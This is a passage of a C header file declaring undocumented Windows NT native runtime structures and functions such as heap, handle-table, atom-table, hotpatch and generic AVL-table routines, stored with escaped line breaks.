Reserved[2];\r\n\t\t} Block;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tULONG CommittedSize;\r\n\t\t\tULONG UnCommittedSize;\r\n\t\t\tPVOID FirstEntry;\r\n\t\t\tPVOID LastEntry;\r\n\t\t} Segment;\r\n\t};\r\n} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY;\r\n\r\n#define HeapDebuggingInformation 0x80000002\r\n\r\ntypedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)(\r\n\tIN LONG Reserved,\r\n\tIN PVOID HeapHandle,\r\n\tIN PVOID BaseAddress,\r\n\tIN SIZE_T BlockSize,\r\n\tIN ULONG StackTraceDepth,\r\n\tIN PVOID *StackTrace\r\n\t);\r\n\r\ntypedef struct _HEAP_DEBUGGING_INFORMATION\r\n{\r\n\tPVOID InterceptorFunction;\r\n\tUSHORT InterceptorValue;\r\n\tULONG ExtendedOptions;\r\n\tULONG StackTraceDepth;\r\n\tSIZE_T MinTotalBlockSize;\r\n\tSIZE_T MaxTotalBlockSize;\r\n\tPRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine;\r\n} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION;\r\n\r\n// added 11/04/2011\r\n#define PREALLOCATE_EVENT_MASK  0x80000000\r\n\r\n#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000))\r\n#define RtlAcquireLockRoutine(L)    RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L))\r\n#define RtlReleaseLockRoutine(L)    RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L))\r\n#define RtlDeleteLockRoutine(L)     RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L))\r\n\r\ntypedef struct _RTL_MEMORY_ZONE_SEGMENT\r\n{\r\n\tstruct _RTL_MEMORY_ZONE_SEGMENT *NextSegment;\r\n\tSIZE_T Size;\r\n\tPVOID Next;\r\n\tPVOID Limit;\r\n} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT;\r\n\r\n#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300)\r\ntypedef struct _RTL_SRWLOCK {                            \r\n\tPVOID Ptr;                                       \r\n} RTL_SRWLOCK, *PRTL_SRWLOCK; \r\n#endif\r\n\r\ntypedef struct _RTL_MEMORY_ZONE\r\n{\r\n\tRTL_MEMORY_ZONE_SEGMENT Segment;\r\n\tRTL_SRWLOCK Lock;\r\n\tULONG LockCount;\r\n\tPRTL_MEMORY_ZONE_SEGMENT FirstSegment;\r\n} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE;\r\n\r\ntypedef struct _RTL_PROCESS_VERIFIER_OPTIONS\r\n{\r\n\tULONG SizeStruct;\r\n\tULONG Option;\r\n\tUCHAR OptionData[1];\r\n} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS;\r\n\r\ntypedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS\r\n{\r\n    VmPrefetchInformation,\r\n    VmPagePriorityInformation,\r\n    VmCfgCallTargetInformation\r\n} VIRTUAL_MEMORY_INFORMATION_CLASS;\r\n\r\ntypedef struct _VM_INFORMATION\r\n{\r\n    DWORD\t\t\t\t\tdwNumberOfOffsets;\r\n    PULONG\t\t\t\t\tplOutput;\r\n    PCFG_CALL_TARGET_INFO\tptOffsets;\r\n    PVOID\t\t\t\t\tpMustBeZero;\r\n    PVOID\t\t\t\t\tpMoarZero;\r\n} VM_INFORMATION, * PVM_INFORMATION;\r\n\r\ntypedef struct _MEMORY_RANGE_ENTRY\r\n{\r\n    PVOID  VirtualAddress;\r\n    SIZE_T NumberOfBytes;\r\n} MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY;\r\n\r\ntypedef struct _RTL_PROCESS_LOCKS {\r\n\tULONG NumberOfLocks;\r\n\tRTL_PROCESS_LOCK_INFORMATION Locks[ 1 ];\r\n} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS;\r\n\r\n#define MAX_STACK_DEPTH 32\r\n\r\ntypedef struct _RTL_PROCESS_BACKTRACE_INFORMATION {\r\n\tPCHAR SymbolicBackTrace;\r\n\tULONG TraceCount;\r\n\tUSHORT Index;\r\n\tUSHORT Depth;\r\n\tPVOID BackTrace[ MAX_STACK_DEPTH ];\r\n} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION;\r\n\r\ntypedef struct _RTL_PROCESS_BACKTRACES {\r\n\tULONG CommittedMemory;\r\n\tULONG ReservedMemory;\r\n\tULONG NumberOfBackTraceLookups;\r\n\tULONG NumberOfBackTraces;\r\n\tRTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ];\r\n} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES;\r\n\r\ntypedef struct _RTL_DEBUG_INFORMATION\r\n{\r\n\tHANDLE SectionHandleClient;\r\n\tPVOID ViewBaseClient;\r\n\tPVOID ViewBaseTarget;\r\n\tULONG_PTR ViewBaseDelta;\r\n\tHANDLE EventPairClient;\r\n\tHANDLE EventPairTarget;\r\n\tHANDLE TargetProcessId;\r\n\tHANDLE TargetThreadHandle;\r\n\tULONG Flags;\r\n\tSIZE_T OffsetFree;\r\n\tSIZE_T CommitSize;\r\n\tSIZE_T ViewSize;\r\n\tunion\r\n\t{\r\n\t\tPRTL_PROCESS_MODULES Modules;\r\n\t\tPRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx;\r\n\t};\r\n\tPRTL_PROCESS_BACKTRACES BackTraces;\r\n\tPRTL_PROCESS_HEAPS Heaps;\r\n\tPRTL_PROCESS_LOCKS Locks;\r\n\tPVOID SpecificHeap;\r\n\tHANDLE TargetProcessHandle;\r\n\tPRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions;\r\n\tPVOID ProcessHeap;\r\n\tHANDLE CriticalSectionHandle;\r\n\tHANDLE CriticalSectionOwnerThread;\r\n\tPVOID Reserved[4];\r\n} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION;\r\n\r\n//added 21/03/2011\r\n//end\r\n\r\n\r\n// added: 22/04/2011 - RtlStream\r\ntypedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA;\r\ntypedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE;\r\ntypedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA;\r\n\r\nHRESULT\r\nNTAPI\r\nRtlReleaseMemoryStream(\r\n\tPRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream\r\n\t);\r\n\r\nHRESULT\r\nNTAPI\r\nRtlSetMemoryStreamSize(\r\n\tPRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream,\r\n\tULARGE_INTEGER ULargeInteger\r\n\t);\r\n\r\nHRESULT\r\nNTAPI\r\nRtlCommitMemoryStream(\r\n\tPRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream,\r\n\tULONG NewStream\r\n\t);\r\n\r\nHRESULT\r\nNTAPI\r\nRtlRevertMemoryStream(\r\n\tPRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCopySecurityDescriptor(\r\n\tPSECURITY_DESCRIPTOR SourceDescriptor,\r\n\tPSECURITY_DESCRIPTOR DestinationDescriptor\r\n\t);\r\n\r\n\r\ntypedef struct _RTL_HANDLE_TABLE_ENTRY\r\n{\r\n\tunion\r\n\t{\r\n\t\tULONG Flags;\r\n\t\tstruct _RTL_HANDLE_TABLE_ENTRY *NextFree;\r\n\t};\r\n} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;\r\n\r\n#define RTL_HANDLE_ALLOCATED (USHORT)0x0001\r\n\r\ntypedef struct _RTL_HANDLE_TABLE\r\n{\r\n\tULONG MaximumNumberOfHandles;\r\n\tULONG SizeOfHandleTableEntry;\r\n\tULONG Reserved[2];\r\n\tPRTL_HANDLE_TABLE_ENTRY FreeHandles;\r\n\tPRTL_HANDLE_TABLE_ENTRY CommittedHandles;\r\n\tPRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;\r\n\tPRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;\r\n} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;\r\n\r\n#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_)\r\ntypedef struct _JOB_SET_ARRAY {\r\n    HANDLE JobHandle;   // Handle to job object to insert\r\n    DWORD MemberLevel;  // Level of this job in the set. Must be > 0. Can be sparse.\r\n    DWORD Flags;        // Unused. Must be zero\r\n} JOB_SET_ARRAY, *PJOB_SET_ARRAY;\r\n#endif\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeHandleTable(\r\n\tIN ULONG MaximumNumberOfHandles,\r\n\tIN ULONG SizeOfHandleTableEntry,\r\n\tOUT PRTL_HANDLE_TABLE HandleTable\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyHandleTable(\r\n\t_Inout_ PRTL_HANDLE_TABLE HandleTable\r\n\t);\r\n\r\nPRTL_HANDLE_TABLE_ENTRY\r\nNTAPI\r\nRtlAllocateHandle(\r\n\tIN PRTL_HANDLE_TABLE HandleTable,\r\n\tOUT OPTIONAL PULONG HandleIndex\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlFreeHandle(\r\n\tIN PRTL_HANDLE_TABLE HandleTable,\r\n\tIN PRTL_HANDLE_TABLE_ENTRY Handle\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsValidHandle(\r\n\tIN PRTL_HANDLE_TABLE HandleTable,\r\n\tIN PRTL_HANDLE_TABLE_ENTRY Handle\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsValidIndexHandle(\r\n\tIN PRTL_HANDLE_TABLE HandleTable,\r\n\tIN ULONG HandleIndex,\r\n\tOUT PRTL_HANDLE_TABLE_ENTRY *Handle\r\n\t);\r\n\r\n#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000\r\n#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000\r\n#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37\r\n#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255\r\n#define RTL_ATOM_PINNED 0x01\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateAtomTable(\r\n\tIN ULONG NumberOfBuckets,\r\n\tOUT PVOID *AtomTableHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyAtomTable(\r\n\tIN PVOID AtomTableHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlEmptyAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN BOOLEAN IncludePinnedAtoms\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAtomToAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN PWSTR AtomName,\r\n\t_Inout_opt_ PRTL_ATOM Atom\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLookupAtomInAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN PWSTR AtomName,\r\n\tOUT OPTIONAL PRTL_ATOM Atom\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteAtomFromAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN RTL_ATOM Atom\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlPinAtomInAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN RTL_ATOM Atom\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryAtomInAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN RTL_ATOM Atom,\r\n\tOUT OPTIONAL PULONG AtomUsage,\r\n\tOUT OPTIONAL PULONG AtomFlags,\r\n\t_Inout_ PWSTR AtomName,\r\n\t_Inout_opt_ PULONG AtomNameLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryAtomsInAtomTable(\r\n\tIN PVOID AtomTableHandle,\r\n\tIN ULONG MaximumNumberOfAtoms,\r\n\tOUT PULONG NumberOfAtoms,\r\n\tOUT PRTL_ATOM Atoms\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlGetIntegerAtom(\r\n\tIN PWSTR AtomName,\r\n\tOUT OPTIONAL PUSHORT IntegerAtom\r\n\t);\r\n\r\n#define EVENT_MIN_LEVEL                      (0)\r\n#define EVENT_MAX_LEVEL                      (0xff)\r\n\r\n#define EVENT_ACTIVITY_CTRL_GET_ID           (1)\r\n#define EVENT_ACTIVITY_CTRL_SET_ID           (2)\r\n#define EVENT_ACTIVITY_CTRL_CREATE_ID        (3)\r\n#define EVENT_ACTIVITY_CTRL_GET_SET_ID       (4)\r\n#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID    (5)\r\n\r\n\ttypedef ULONGLONG REGHANDLE, *PREGHANDLE;\r\n\r\n#define MAX_EVENT_DATA_DESCRIPTORS           (128)\r\n#define MAX_EVENT_FILTER_DATA_SIZE           (1024)\r\n\r\n\t//\r\n\t// EVENT_DATA_DESCRIPTOR is used to pass in user data items\r\n\t// in events.\r\n\t// \r\n\r\n\ttypedef struct _EVENT_DATA_DESCRIPTOR\r\n\t{\r\n\t\tULONG_PTR   Ptr;        // Pointer to data\r\n\t\tULONG       Size;       // Size of data in bytes\r\n\t\tULONG       Reserved;\r\n\t} EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR;\r\n\r\n\ttypedef struct _EVENT_DESCRIPTOR\r\n\t{\r\n\t\tUSHORT      Id;\r\n\t\tUCHAR       Version;\r\n\t\tUCHAR       Channel;\r\n\t\tUCHAR       Level;\r\n\t\tUCHAR       Opcode;\r\n\t\tUSHORT      Task;\r\n\t\tULONGLONG   Keyword;\r\n\t} EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR;\r\n\ttypedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR;\r\n\r\n\t//\r\n\t// EVENT_FILTER_DESCRIPTOR is used to pass in enable filter\r\n\t// data item to a user callback function.\r\n\t// \r\n\ttypedef struct _EVENT_FILTER_DESCRIPTOR\r\n\t{\r\n\t\tULONG_PTR   Ptr;\r\n\t\tULONG       Size;\r\n\t\tULONG       Type;\r\n\t} EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR;\r\n\r\n//\r\n// old nt4 channel stuff\r\n//\r\n//#pragma pack(1)\r\n#pragma pack()\r\ntypedef struct _CHANNEL_MESSAGE\r\n{\r\n\tPVOID Text;\r\n\tULONG Length;\r\n\tPVOID Context;\r\n\tPVOID Base;\r\n\tunion\r\n\t{\r\n\t\tBOOLEAN Close;\r\n\t\tLONGLONG Align;\r\n\t};\r\n} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE;\r\n\r\ntypedef struct _HOTPATCH_HEADER\r\n{\r\n\tULONG Signature;\r\n\tULONG Version;\r\n\tULONG FixupRgnCount;\r\n\tULONG FixupRgnRva;\r\n\tULONG ValidationCount;\r\n\tULONG ValidationArrayRva;\r\n\tULONG HookCount;\r\n\tULONG HookArrayRva;\r\n\tULONG_PTR OrigHotpBaseAddress;\r\n\tULONG_PTR OrigTargetBaseAddress;\r\n\tULONG TargetNameRva;\r\n\tULONG ModuleIdMethod;\r\n\tunion { \r\n\t\tULONG Filler;\r\n\t} TargetModuleIdValue;\r\n} HOTPATCH_HEADER, *PHOTPATCH_HEADER;\r\n\r\ntypedef struct _HOTPATCH_MODULE_DATA\r\n{\r\n\tUSHORT HotpatchImageNameLength;\r\n\tUSHORT ColdpatchImagePathLength;\r\n\tWCHAR NameBuffer[ 1 ];\r\n} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA;\r\n\r\ntypedef struct _HOTPATCH_MODULE_ENTRY\r\n{\r\n\tstruct _TRIPLE_LIST_ENTRY ListEntry;\r\n\tstruct _HOTPATCH_MODULE_DATA Data;\r\n} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY;\r\n\r\ntypedef struct _HOTPATCH_HOOK\r\n{\r\n\tUSHORT HookType;\r\n\tUSHORT HookOptions;\r\n\tULONG HookRva;\r\n\tULONG HotpRva;\r\n\tULONG ValidationRva;\r\n} HOTPATCH_HOOK, *PHOTPATCH_HOOK;\r\n\r\ntypedef struct _RTL_PATCH_HEADER\r\n{\r\n\tLIST_ENTRY PatchList;\r\n\tPVOID PatchImageBase;\r\n\tstruct _RTL_PATCH_HEADER* NextPatch;\r\n\tULONG PatchFlags;\r\n\tLONG PatchRefCount;\r\n\tstruct _HOTPATCH_HEADER* HotpatchHeader;\r\n\tUNICODE_STRING TargetDllName;\r\n\tHANDLE TargetDllBase;\r\n\tPLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry;\r\n\tPLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry;\r\n\tPSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo;\r\n\tPVOID ColdpatchFileHandle;\r\n\tHOTPATCH_MODULE_ENTRY HotpatchModuleEntry;\r\n} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER;\r\n\r\n\r\n\r\n#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h)\r\n\r\n#ifndef _SLIST_HEADER_\r\n#define _SLIST_HEADER_\r\n\r\n#if defined(_M_X64)\r\n\r\n//\r\n// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs.  For\r\n// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a\r\n// SINGLE_LIST_ENTRY structure has only 8 byte alignment.\r\n//\r\n// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the\r\n// SINGLE_LIST_ENTRY type.\r\n//\r\n\r\n#pragma warning(push)\r\n#pragma warning(disable:4324)   // structure padded due to align()\r\ntypedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY;\r\ntypedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY {\r\n    PSLIST_ENTRY Next;\r\n} SLIST_ENTRY;\r\n#pragma warning(pop)\r\n\r\n#else\r\n\r\n#define SLIST_ENTRY SINGLE_LIST_ENTRY\r\n#define _SLIST_ENTRY _SINGLE_LIST_ENTRY\r\n#define PSLIST_ENTRY PSINGLE_LIST_ENTRY\r\n\r\n#endif\r\n\r\n#if defined(_M_X64)\r\n\r\ntypedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER {\r\n    ULONGLONG Alignment;\r\n    ULONGLONG Region;\r\n} SLIST_HEADER;\r\n\r\ntypedef struct _SLIST_HEADER *PSLIST_HEADER;\r\n\r\n#else\r\n\r\ntypedef union _SLIST_HEADER {\r\n    ULONGLONG Alignment;\r\n    struct {\r\n        SLIST_ENTRY Next;\r\n        WORD   Depth;\r\n        WORD   Sequence;\r\n    };\r\n} SLIST_HEADER, *PSLIST_HEADER;\r\n\r\n#endif\r\n\r\n#endif\r\n\r\n//\r\n// prototypes *must* be encapsulated with extern \"C\" macros at start and end of prototype block\r\n//\r\n\r\nPSLIST_ENTRY\r\n__fastcall\r\nRtlInterlockedPushListSList (\r\n     IN PSLIST_HEADER ListHead,\r\n     IN PSLIST_ENTRY List,\r\n     IN PSLIST_ENTRY ListEnd,\r\n     IN ULONG Count\r\n     );\r\n\r\nVOID\r\nNTAPI\r\nRtlAssert(\r\n\tIN PVOID VoidFailedAssertion,\r\n\tIN PVOID VoidFileName,\r\n\tIN ULONG LineNumber,\r\n\t_In_opt_ PSTR MutableMessage\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PRTL_AVL_COMPARE_ROUTINE CompareRoutine,\r\n    PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine,\r\n    PRTL_AVL_FREE_ROUTINE FreeRoutine,\r\n    PVOID TableContext\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlInsertElementGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID Buffer,\r\n    ULONG BufferSize,\r\n    PBOOLEAN NewElement OPTIONAL\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlInsertElementGenericTableFullAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID Buffer,\r\n    ULONG BufferSize,\r\n    PBOOLEAN NewElement OPTIONAL,\r\n    PVOID NodeOrParent,\r\n    TABLE_SEARCH_RESULT SearchResult\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlDeleteElementGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID Buffer\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlLookupElementGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID Buffer\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlLookupElementGenericTableFullAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID Buffer,\r\n    OUT PVOID *NodeOrParent,\r\n    OUT TABLE_SEARCH_RESULT *SearchResult\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlEnumerateGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    BOOLEAN Restart\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlEnumerateGenericTableWithoutSplayingAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    PVOID *RestartKey\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlEnumerateGenericTableLikeADirectory (\r\n    IN PRTL_AVL_TABLE Table,\r\n    IN PRTL_AVL_MATCH_FUNCTION MatchFunction,\r\n    IN PVOID MatchData,\r\n    IN ULONG NextFlag,\r\n    _Inout_ PVOID *RestartKey,\r\n    _Inout_ PULONG DeleteCount,\r\n    _Inout_ PVOID Buffer\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlGetElementGenericTableAvl (\r\n    PRTL_AVL_TABLE Table,\r\n    ULONG I\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlNumberGenericTableElementsAvl (\r\n    PRTL_AVL_TABLE Table\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsGenericTableEmptyAvl (\r\n    PRTL_AVL_TABLE Table\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlSplay (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlDelete (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlDeleteNoSplay (\r\n    PRTL_SPLAY_LINKS Links,\r\n    PRTL_SPLAY_LINKS *Root\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlSubtreeSuccessor (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlSubtreePredecessor (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlRealSuccessor (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nPRTL_SPLAY_LINKS\r\nNTAPI\r\nRtlRealPredecessor (\r\n    PRTL_SPLAY_LINKS Links\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeGenericTable (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,\r\n    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,\r\n    PRTL_GENERIC_FREE_ROUTINE FreeRoutine,\r\n    PVOID TableContext\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlInsertElementGenericTable (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID Buffer,\r\n    ULONG BufferSize,\r\n    PBOOLEAN NewElement OPTIONAL\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlInsertElementGenericTableFull (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID Buffer,\r\n    ULONG BufferSize,\r\n    PBOOLEAN NewElement OPTIONAL,\r\n    PVOID NodeOrParent,\r\n    TABLE_SEARCH_RESULT SearchResult\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlDeleteElementGenericTable (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID Buffer\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlLookupElementGenericTable (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID Buffer\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlLookupElementGenericTableFull (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID Buffer,\r\n    OUT PVOID *NodeOrParent,\r\n    OUT TABLE_SEARCH_RESULT *SearchResult\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlEnumerateGenericTable (\r\n    PRTL_GENERIC_TABLE Table,\r\n    BOOLEAN Restart\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlEnumerateGenericTableWithoutSplaying (\r\n    PRTL_GENERIC_TABLE Table,\r\n    PVOID *RestartKey\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlGetElementGenericTable(\r\n    PRTL_GENERIC_TABLE Table,\r\n    ULONG I\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlNumberGenericTableElements(\r\n    PRTL_GENERIC_TABLE Table\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlIsGenericTableEmpty (\r\n    PRTL_GENERIC_TABLE Table\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeHeapManager(\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlCreateHeap(\r\n\tIN ULONG Flags,\r\n\tIN PVOID HeapBase OPTIONAL,\r\n\tIN SIZE_T ReserveSize OPTIONAL,\r\n\tIN SIZE_T CommitSize OPTIONAL,\r\n\tIN PVOID Lock OPTIONAL,\r\n\tIN PRTL_HEAP_PARAMETERS Parameters OPTIONAL\r\n\t);\r\n\r\nPVOID\r\nNTAPI\r\nRtlDestroyHeap(\r\n    IN PVOID HeapHandle\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlAllocateHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN SIZE_T Size\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlFreeHeap(\r\n\tIN PVOID HeapHandle,\r\n\t_In_opt_ ULONG Flags,\r\n\tIN PVOID BaseAddress\r\n\t);\r\n\r\nSIZE_T\r\nNTAPI\r\nRtlSizeHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID BaseAddress\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlZeroHeap(\r\n    IN PVOID HeapHandle,\r\n    IN ULONG Flags\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlProtectHeap(\r\n    IN PVOID HeapHandle,\r\n    IN BOOLEAN MakeReadOnly\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlGetNtGlobalFlags(\r\n    VOID\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlGetCallersAddress(\r\n    OUT PVOID *CallersAddress,\r\n    OUT PVOID *CallersCaller\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlWalkFrameChain (\r\n    OUT PVOID *Callers,\r\n    IN ULONG Count,\r\n    IN ULONG Flags\r\n    );\r\n\r\nUSHORT\r\nNTAPI\r\nRtlLogStackBackTrace(\r\n    VOID\r\n    );\r\n\r\n\r\nULONG\r\nNTAPI\r\nRtlCaptureStackContext (\r\n    OUT PULONG_PTR Callers,\r\n    OUT PRTL_STACK_CONTEXT Context,\r\n    IN ULONG Limit\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlGetNtProductType(\r\n\tPNT_PRODUCT_TYPE NtProductType\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFormatCurrentUserKeyPath (\r\n    OUT PUNICODE_STRING CurrentUserKeyPath\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlOpenCurrentUser(\r\n    IN ULONG DesiredAccess,\r\n    OUT PHANDLE CurrentUserKey\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryRegistryValues(\r\n    IN ULONG RelativeTo,\r\n    IN PCWSTR Path,\r\n    IN PRTL_QUERY_REGISTRY_TABLE QueryTable,\r\n    IN PVOID Context,\r\n    IN PVOID Environment OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlWriteRegistryValue(\r\n    IN ULONG RelativeTo,\r\n    IN PCWSTR Path,\r\n    IN PCWSTR ValueName,\r\n    IN ULONG ValueType,\r\n    IN PVOID ValueData,\r\n    IN ULONG ValueLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteRegistryValue(\r\n    IN ULONG RelativeTo,\r\n    IN PCWSTR Path,\r\n    IN PCWSTR ValueName\r\n    